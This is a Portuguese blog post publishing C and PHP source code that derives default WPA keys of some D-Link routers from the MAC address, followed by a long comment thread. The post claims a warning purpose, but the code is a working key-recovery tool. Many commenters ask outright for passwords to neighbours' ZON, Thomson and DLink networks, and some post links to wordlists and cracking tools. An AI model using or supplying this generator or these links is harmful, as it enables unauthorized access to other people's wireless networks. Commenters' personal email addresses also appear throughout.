Código fonte WPA DLink (PHP,C)
Artigo publicado a 12 Mar, 2010 em Cinema por OBH

Aproveito para tornar publico o código PHP que gera as chaves dos routers DLink, assim como o código fonte em C do programa que originou o mesmo, uma vez que o autor assim o permitiu :)

Aproveito o Post para relembrar que o objectivo do blog não é nem nunca foi incentivar à utilização de redes wireless alheias, pois isso é crime, apenas tento alertar os utilizadores para a necessidade da alteração das passwords por defeito, e também para a necessidade das empresas criadoras dos routers em questão arranjarem formas mais eficazes de gerar chaves aleatórias e não chaves que tenham a haver com o nome da rede ou MAC, compreendo que numa situação de produção em grande escala o mesmo é difícil pois a etiqueta com a password é colocada por ultimo e estas já estão feitas conforme o mac do router, seria preferível criarem os routers com as redes abertas, e alertar na etiqueta para a necessidade de alteração da segurança wireless.

Relativamente a pedidos das chaves ZON, etc … teria todo gosto em verificar os métodos de criação das mesmas, sendo assim caso possuam um router ZON ou outro que na etiqueta tenha a chave predefinida, enviem por comentário o MAC do mesmo o nome da rede e chave original, de forma a se tentar ver qual o método de criação das mesmas, sem isso não tenho possibilidades de estudar os mesmos.

Deixo então abaixo os Códigos fontes em C e PHP com os respectivos créditos no interior do mesmo:

Em C by Xpt0niX

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

/*     0= X
 1= r
 2= q
 3= a
 4= H
 5= N
 6= p
 7= d
 8= S
 9= Y
 A= w
 B= 8
 C= 6
 D= 2
 E= 1
 F= 5

 Based on a MAC address:
 12  34  56  78  9a  bc

 Pattern of the mixing char must be:
 c1  b2  a3  94  85  76  27  9a  c3  5b

 The final Result for the WPA/SPK key is:
 6r 8q wa YH SN dp qd Yw 6a N8
*/

int Alpha_MACString_Remove_Separator(unsigned char *mac, unsigned char *str)
{
 int i,j;

 if (mac==NULL) return 1;
 for (j=0,i=0;i<17;i++)
 if (mac[i]!=':' && mac[i]!='-' && mac[i]!='.' && mac[i]!='_')
 str[j++] = mac[i];
 return 0;
}

#ifdef IFX_MULTILIB_UTIL
#define main    wpakeygen_main
#endif

int main(int argc, char **argv)
{
 unsigned char mac[12],key[20],newkey[20];
 int i,j,index;
 char t;

 char hash[16] =  { 'X', 'r', 'q', 'a', 'H', 'N', 'p', 'd', 'S', 'Y', 'w', '8', '6', '2', '1', '5'};

 if (argc !=2 )
 {
 printf("Usage: wpakeygen {MAC}\n");
 printf("Tested on D-Link DVA-G3170i/PT by Xpt0niX");
 return 0;
 }

 Alpha_MACString_Remove_Separator(argv[1], mac);
 key[0]=mac[11];
 key[1]=mac[0];

 key[2]=mac[10];
 key[3]=mac[1];

 key[4]=mac[9];
 key[5]=mac[2];

 key[6]=mac[8];
 key[7]=mac[3];

 key[8]=mac[7];
 key[9]=mac[4];

 key[10]=mac[6];
 key[11]=mac[5];

 key[12]=mac[1];
 key[13]=mac[6];

 key[14]=mac[8];
 key[15]=mac[9];

 key[16]=mac[11];
 key[17]=mac[2];

 key[18]=mac[4];
 key[19]=mac[10];

 //printf("key=%c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c\n",key[0], key[1],key[2],key[3],key[4],key[5],key[6],key[7],key[8],key[9],key[10],key[11],key[12],key[13],key[14],key[15],key[16],key[17],key[18],key[19]);

 for (i=0;i<20;i++)
 {
 t=key[i];
 if ((t >= '0') && (t <= '9'))
 index = t-'0';
 else
 {
 t=toupper(t);
 if ((t >= 'A') && (t <= 'F'))
 index = t-'A'+10;
 else return 1;
 }

 newkey[i]=hash[index];
 }

 printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",newkey[0], newkey[1],newkey[2],newkey[3],newkey[4],newkey[5],newkey[6],newkey[7],newkey[8],newkey[9],newkey[10],newkey[11],newkey[12],newkey[13],newkey[14],newkey[15],newkey[16],newkey[17],newkey[18],newkey[19]);

 return 0;
}

Em PHP by NarG

<?php
//
$mac = "123456780ABC";
echo gerador($mac);

function gerador($mac) {
 $key = "XXXXXXXXXXXXXXXXXXXX";
 for($i=0;$i<strlen($mac);$i++) {

 switch ($i) {
 case 0:
 $key[1] = dicionario($mac[$i]);
 break;
 case 1:
 $key[3] = dicionario($mac[$i]);
 $key[12] = dicionario($mac[$i]);
 break;
 case 2:
 $key[5] = dicionario($mac[$i]);
 $key[17] = dicionario($mac[$i]);
 break;
 case 3:
 $key[7] = dicionario($mac[$i]);
 break;
 case 4:
 $key[9] = dicionario($mac[$i]);
 $key[18] = dicionario($mac[$i]);
 break;
 case 5:
 $key[11] = dicionario($mac[$i]);
 break;
 case 6:
 $key[10] = dicionario($mac[$i]);
 $key[13] = dicionario($mac[$i]);
 break;
 case 7:
 $key[8] = dicionario($mac[$i]);
 break;
 case 8:
 $key[6] = dicionario($mac[$i]);
 $key[14] = dicionario($mac[$i]);
 break;
 case 9:
 $key[15] = dicionario($mac[$i]);
 $key[4] = dicionario($mac[$i]);
 break;
 case 10:
 $key[2] = dicionario($mac[$i]);
 $key[19] = dicionario($mac[$i]);
 break;
 case 11:
 $key[0] = dicionario($mac[$i]);
 $key[16] = dicionario($mac[$i]);
 break;
 }
 }
 return $key;
}

function dicionario($letra) {
 $letra = strtoupper($letra);
 switch ($letra) {
 case "1":
 return "r";
 break;
 case "2":
 return "q";
 break;
 case "3":
 return "a";
 break;
 case "4":
 return "H";
 break;
 case "5":
 return "N";
 break;
 case "6":
 return "p";
 break;
 case "7":
 return "d";
 break;
 case "8":
 return "S";
 break;
 case "9":
 return "Y";
 break;
 case "0":
 return "X";
 break;
 case "A":
 return "w";
 break;
 case "B":
 return "8";
 break;
 case "C":
 return "6";
 break;
 case "D":
 return "2";
 break;
 case "E":
 return "1";
 break;
 case "F":
 return "5";
 break;
 default:
 return false;
 break;
 }
}

?>






Este artigo tem 1.157 opiniões

  1. RUI

    Boas, então será que conseguem descobrir como são produzidas as passwords da Zon Tvcabo dava-me imenso jeito!

  2. tucamaia

    boas malta…
    e o 1o post q meto aqi e desde ja gostaria de dar os parabens a tdos os q diariamente se esforçam para nos poderem ajudar cm as passes dos routers e q continuem com este esforço pois graças a voces mtas das pessoas q n teem possiblidades para terem internet assim o conseguem, internet…. uma coisa q e de borla em qase todos os paises da UE… mas enfim, tamos no .. do mundo e as coisas demoram aqi a xegar xD
    ja agora para n ser mt diferente dos outros q por aqi passam, eu tenho um gerador d keys e ate agora n m falhou em nd excepto neste Thomson05F389, sera q me poderiam dar uma ajudita?
    obrigado mais uma vez e keep it up!!
    s alguem precisar posso deixar o link d ond sakei, e a palex
    QUEAMAGIADOTRANCEVOSACOMPANHE!!!

  3. Lopes

    Tenho um vizinho com um DLink-83FBDB e o programa diz que o Mac é inválido. Pedia Ajuda.. :S

  4. anonimo

    Alguem me pode dizer a pass da rede ZON-56f0
    Isto é … se ja houver com saber!!
    cumps

  5. por favor alguem me descobre a password da net thombson76888 e zon-1A90 e zon-BF7C por favorrr pessoal :s

  6. gany_vamp

    e pass para zon vai haver

  7. xolita

    Alguem me arranja a passa para esta?

    PBS-8795D1

  8. Luis Silva

    Boa noite pessoal

    Sera que alguém me pode dar a pass desta conta ssf

    É que não tou a conseguir encontra-la

    2WIRE-PT-959

    Muito obrigada

  9. Diogo

    Alguém me pode dizera palavra passe da DLink-B62F4B?

  10. nelson moreno

    boas alguem consegue descobrir me a palavra pass desta thomson-D9FD83

    cumps

  11. FILIPA

    Allo. será possivel descobrir a pass dos seguintes zon:
    2210
    2C10
    2FF0
    3680
    DD00
    obrigada,
    FL

  12. Noxus

    o que precisas de saber acerca do router da meo(thomson)?
    eu tambem preciso de net quando vou de ferias p.f.responde

  13. rfilipeg

    Novidades?
    Deve de ser só no feira nova(que ja nem existe)

    Parou no tempo este site ohh meu deus!

    O administrador disto enfim…sem comentários!

  14. Pedro Henrique

    Boas! Eu criei o programa em “C” com o código que implementas.te aqui em cima, mas tem uma pequenina parte que está a dar erro ao compilar e executar.
    O erro está situdo na linha 63 que está escrito o seguinte: “Alpha_MACString_Remove_Separator(argv[1], mac);” e o erros que dão são os seguintes:

    Primeiro: ” C:\Users\PH^^\Documents\Sem Título2.cpp In function `int main(int, char**)’:”

    Segundo: “63 C:\Users\PH^^\Documents\Sem Título2.cpp invalid conversion from `char*’ to `unsigned char*’ ”

    Terceiro: “63 C:\Users\PH^^\Documents\Sem Título2.cpp initializing argument 1 of `int Alpha_MACString_Remove_Separator(unsigned char*, unsigned char*)’ ”

    Bom os erros são esses listados aqui em cima.
    Como eu estou agora a tirar o curso de programador eu ainda não possuo nenhuma habilidade para poder corrigir este erro por isso que eu peço para que alguém possa me ajudar. ;)

  15. Flávio

    olá será que me poderiam ajudar a encontrar a pass da net Dlink-F0096F
    dESDE JÁ OBRIGADO

  16. bruno

    conseguem mandar hack com o mac adress?

  17. Luis

    O problema não é só serem mais os que pedem passes pra tudo,o problema é os comentários não estarem a ser aprovados.
    Já por várias vezes tentei enviar os dados que foram pedidos,SSID & Mac address e não foram aprovados!

  18. José

    Olá. Quanto a routers TP-LINKL, existe algum calculator disponivel?

  19. Tubarao

    Novas passwords MEO/New thomson Keys

    Aqui fica uma wordlist das novas passwords dos routers thomson
    http://www.megaupload.com/?d=A0EIE2DL

  20. Tubarao

    O programa mais recente e mais completo para desbloquear as Wireless.
    Link: http://hotfile.com/dl/78429275/b639bfa/Find_Wifi_Key.rar.html

  21. rfilipeg

    ohh meu deus
    assim nao dá

  22. rdms

    alguem m pode arranjar a pass da DLink-7BE7F6

  23. Luis

    Eu estou disposto a ajudar a descobrir as passes para os routers Zon.
    Se ainda for esse o objectivo deste site.

  24. rfilipeg

    Opa por mim seria muito bom que descobrisses as passes ZON seria me muito util!

    o problema é que o admin disto já se a “cagar” para o site e já não quer saber disto, digo eu!

  25. rfilipeg

    FINALMENTE COMENTÁRIOS APROVADOS!!!

    Então ponto de situação para os novos router’s Thomson (2010) da MEO?

    E ponto de situação para os router’s da ZON?

    Espero que de frutos!

    Estou mesmo precisando de net!

  26. s.dipo

    ALGUEM JA DESCOBRIU OS DA ZON TOU NECESSITANDO

  27. Shockman

    Eu uso rede wireless sem wpa,tb me ja me servi da rede dos outros,agora é a minha vez de partilhar.

  28. Mara Coimbra

    Boa noite!

    Preciso de ajuda para: ZON-6F80

    Obrigada!

  29. Mara Coimbra

    Boa noite!

    Preciso de ajuda para: ZON-6F80

    Obrigada!

    mara_coimbra@hotmail.com

  30. Kauloco

    zon-6950 s.f.f

  31. laranja

    Thomson E68CAB pls

  32. sara daniela

    gostava de descobrir a pass de uma net:
    SAPO-PI01B9A

    sff (:

  33. pauljay

    Boas pessoal.
    Sou novo por cá.

    Tou a desenvolver o algoritmo para as chaves do D-Link para Pocket PC
    Se algém tiver intereçado em ajudar aqui vai a parte de codigo:

    O desafio é resolver uma forma de substituir as funções de “Left() e Right()” instruções do Visual Basic 6 para Visual Basic 2008 SDK Windows Mobile 5 e 6

    Códico:

    Public Class Form1

    Private Sub MenuItem2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MenuItem2.Click
    Me.Close()
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Command1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Command1.Click

    ‘MessageBox.Show(“D-Link Router”, MessageBoxButtons.OK)

    Text2.Text = “”
    List1.Items.Clear()

    Text2.Text = UCase(Text1.Text)

    ‘ Aqui nesta instrução está a dar erro, porque “Left() e Right() não é suportado em VB.NET
    For i = 0 To Len(Text2.Text) – 1
    List1.Items.Add Left(Text2.Text, 1))
    Text2.Text = Right(Text2.Text, Len(Text2.Text) – 1)
    Next i

    Text2.Text = List1.Items.Add(11) & List1.Items.Add(0) & List1.Items.Add(10) & List1.Items.Add(1) & List1.Items.Add(9) & _
    List1.Items.Add(2) & List1.Items.Add(8) & List1.Items.Add(3) & List1.Items.Add(7) & List1.Items.Add(4) & List1.Items.Add(6) & _
    List1.Items.Add(5) & List1.Items.Add(1) & List1.Items.Add(6) & List1.Items.Add(8) & List1.Items.Add(9) & List1.Items.Add(11) & _
    List1.Items.Add(2) & List1.Items.Add(4) & List1.Items.Add(10)

    List1.Items.Clear()

    ‘ Aqui nesta instrução está a dar erro, porque “Left() e Right() não é suportado em VB.NET
    For i = 0 To Len(Text2.Text) – 1
    List1.Items.Add(Left(Text2.Text, 1))
    Text2.Text = Right(Text2.Text, Len(Text2.Text) – 1)
    Next i

    For i = 0 To List1.Items.Count
    Select Case List1.Items.Add(i)
    Case “1″
    Text2.Text = Text2.Text = “r”
    Case “2″
    Text2.Text = Text2.Text = “q”
    Case “3″
    Text2.Text = Text2.Text & “a”
    Case “4″
    Text2.Text = Text2.Text & “H”
    Case “5″
    Text2.Text = Text2.Text & “N”
    Case “6″
    Text2.Text = Text2.Text & “p”
    Case “7″
    Text2.Text = Text2.Text & “D”
    Case “8″
    Text2.Text = Text2.Text & “S”
    Case “9″
    Text2.Text = Text2.Text & “Y”
    Case “0″
    Text2.Text = Text2.Text & “X”
    Case “A”
    Text2.Text = Text2.Text & “w”
    Case “B”
    Text2.Text = Text2.Text & “8″
    Case “C”
    Text2.Text = Text2.Text & “6″
    Case “D”
    Text2.Text = Text2.Text & “2″
    Case “E”
    Text2.Text = Text2.Text & “1″
    Case “F2″
    Text2.Text = Text2.Text & “5″
    End Select
    Next i

    End Sub
    End Class

    Podem responder a este comentários directamente para o meu MSN.
    paulobarca_7@hotmail.com

  34. max

    Boas alguem me pode arranjar as chaves de acesso para Thomson26C413 obrigado.

  35. jose93

    Alguém me sabe dar a pass deste roter da zon?
    ZON-DE20

    Obrigado

  36. ola boa noite a todos eu gostava que alguem mais entendido que eu me ajuda-se a encontrar a chave para a zon nos seguintes ZON-CA20, ZON-5D90,ZON-0570 agradeco que me respondam para o meu mail obrigado

  37. cenas

    Boas, apanho aqui uma Dlink-79D93B WPA-PSK ja fui ao linux e arranjei o mac adress mas a pass que me da não funciona!

    Alguem me consegue arranjar outra sff?

    ddress: 0022B079D93B
    Encryption key:on
    ESSID:”DLink-79D93B”

    8XaXYq2qY8dXXd2Y8q8a ( esta é a pass que não dá )

    abraço

  38. CarlosKZ

    Boas gente!
    Hmmm é a primeira vez k ando por estes lados e curti bué o vosso trabalho!
    Tambem posso dizer k fodi-me! xD
    To sem net mas tenho muitas redes pot onde escolher..
    Algumas dessas redes são:
    ZON-F0F0
    ZON-E800
    ZON-0220
    ZON-EBE0

    Uma ajudinha aqui por favor :P

  39. cedricbento

    viva,

    é possível descobrirem as passwords destes Routers ZON?

    - 00:05:CA:BA:6B:68 | ZON-6B60 – Hitron Technology
    - 00:26:5B:14:A0:98 | ZON-A090 – Hitron Technology
    - 00:24:8C:B1:C5:AC | ZON-47B8 – ASUSTek COMPUTER

  40. enviem-me as pass’s pelo email

    cedricbentoo@gmail.com

    Cumps.

  41. jose93

    Boas

    será que me podiam fornecer as pass destes router da zon?

    é que tou a ficar sem net e assim tenho ne a vontade!xD

    aqui vai:
    zon-DE20

    respondam para este mail pf

    josemanuel-azevedo@hotmail.com

  42. mendeslb

    Será que alguém me poderá ajudar comuma password da zon?
    ZON-AD32
    Agradecia que enviassem por este email: om@live.com.pt
    Obrigado

  43. pdias18

    Ola tudo bem?
    Gostei muito do vosso trabalho, será que me podem ajudar também?
    ZON – A580
    ZON – 4C50

  44. pdias18

    Ola tudo bem?
    Gostei muito do vosso trabalho, será que me podem ajudar também?
    ZON – A580
    ZON – 4C50

    pdias18@hotmail.com respondam para aqui por favor…

  45. ThomasJ

    POR FAVOR ALGUEM ME AJUDE, ALGUEM ME DIGA AS KEYS DESTAS ZONS PLEASE, ZON-1D70 E ZON-A3E0

  46. Rodrigo8

    Alguem me arranja as lass destas redes zon sff ??!
    ZON-E180
    ZON-64D0

    Sff , se me puderem ajudar..

    Abraços

  47. joca_bst

    Viva, antes de mais a todos os responsáveis deste site os meus sinceros Parabéns. Necessitava do vosso apoio, preciso de saber a Password de um ZON-1840 (trata-se de um assunto sério). Muito obrigado!

  48. psysoul3

    Alguem me ajuda descubrir pass de ZON-6850??????????????????????????????????????? preciso mesmo ><

Deixe a sua opinião




Template WordPress por wp4web
(C) 2011 Fodi.me - Todos os direitos reservados